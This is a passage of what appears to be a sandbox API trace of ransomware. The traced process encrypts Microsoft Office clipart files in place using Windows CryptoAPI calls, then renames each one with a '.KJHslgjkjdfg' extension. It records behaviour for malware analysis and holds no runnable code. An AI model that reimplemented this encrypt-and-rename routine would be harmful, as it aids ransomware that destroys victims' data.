lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.218] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.218] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.218] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.218] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.218] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.218] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.218] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.218] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x36aa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x36aa, lpOverlapped=0x0) returned 1 [0189.219] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x36b0, dwBufLen=0x36b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x36b0) returned 1 [0189.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.219] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x36b0, lpOverlapped=0x0) returned 1 [0189.219] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.220] SetEndOfFile (hFile=0x114) returned 1 [0189.222] GetProcessHeap () returned 0x2a0000 [0189.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.222] GetProcessHeap () returned 0x2a0000 [0189.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.kjhslgjkjdfg")) returned 1 [0189.223] CloseHandle (hObject=0x114) returned 1 [0189.223] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1 [0189.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.224] GetProcessHeap () returned 0x2a0000 [0189.224] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.224] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.224] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.224] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0189.226] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.226] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.226] GetProcessHeap () returned 0x2a0000 [0189.226] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.226] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.226] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.226] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.227] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.227] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.227] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.227] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.227] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.227] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.227] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.227] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.227] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x32f6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x32f6, lpOverlapped=0x0) returned 1 [0189.228] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3300, dwBufLen=0x3300 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3300) returned 1 [0189.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.228] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3300, lpOverlapped=0x0) returned 1 [0189.228] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x33d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.228] SetEndOfFile (hFile=0x114) returned 1 [0189.230] GetProcessHeap () returned 0x2a0000 [0189.230] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.230] GetProcessHeap () returned 0x2a0000 [0189.230] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.kjhslgjkjdfg")) returned 1 [0189.232] CloseHandle (hObject=0x114) returned 1 [0189.232] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1 [0189.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.233] GetProcessHeap () returned 0x2a0000 [0189.233] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.233] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.233] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.233] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.233] GetProcessHeap () returned 0x2a0000 [0189.233] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.233] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.233] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.233] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.235] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.235] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.235] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.235] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.235] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.235] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.235] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7a80, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7a80, lpOverlapped=0x0) returned 1 [0189.236] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7a80, dwBufLen=0x7a80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7a80) returned 1 [0189.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.237] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7a80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7a80, lpOverlapped=0x0) returned 1 [0189.237] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.237] SetEndOfFile (hFile=0x114) returned 1 [0189.240] GetProcessHeap () returned 0x2a0000 [0189.240] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.240] GetProcessHeap () returned 0x2a0000 [0189.240] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.kjhslgjkjdfg")) returned 1 [0189.241] CloseHandle (hObject=0x114) returned 1 [0189.241] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1 [0189.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.243] GetProcessHeap () returned 0x2a0000 [0189.243] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.243] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.243] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0189.245] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.245] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.245] GetProcessHeap () returned 0x2a0000 [0189.245] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.245] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.245] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.245] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.245] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.246] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.246] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.246] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.246] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.246] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.246] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.246] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.246] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4754, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4754, lpOverlapped=0x0) returned 1 [0189.247] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4760, dwBufLen=0x4760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4760) returned 1 [0189.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.247] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4760, lpOverlapped=0x0) returned 1 [0189.247] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.247] SetEndOfFile (hFile=0x114) returned 1 [0189.250] GetProcessHeap () returned 0x2a0000 [0189.250] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.250] GetProcessHeap () returned 0x2a0000 [0189.250] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.250] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.kjhslgjkjdfg")) returned 1 [0189.251] CloseHandle (hObject=0x114) returned 1 [0189.251] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1 [0189.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.253] GetProcessHeap () returned 0x2a0000 [0189.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.253] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.253] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.253] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0189.255] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.255] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.255] GetProcessHeap () returned 0x2a0000 [0189.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.255] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.255] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.255] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.256] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.256] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.256] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.256] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.256] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.256] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.256] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2026, 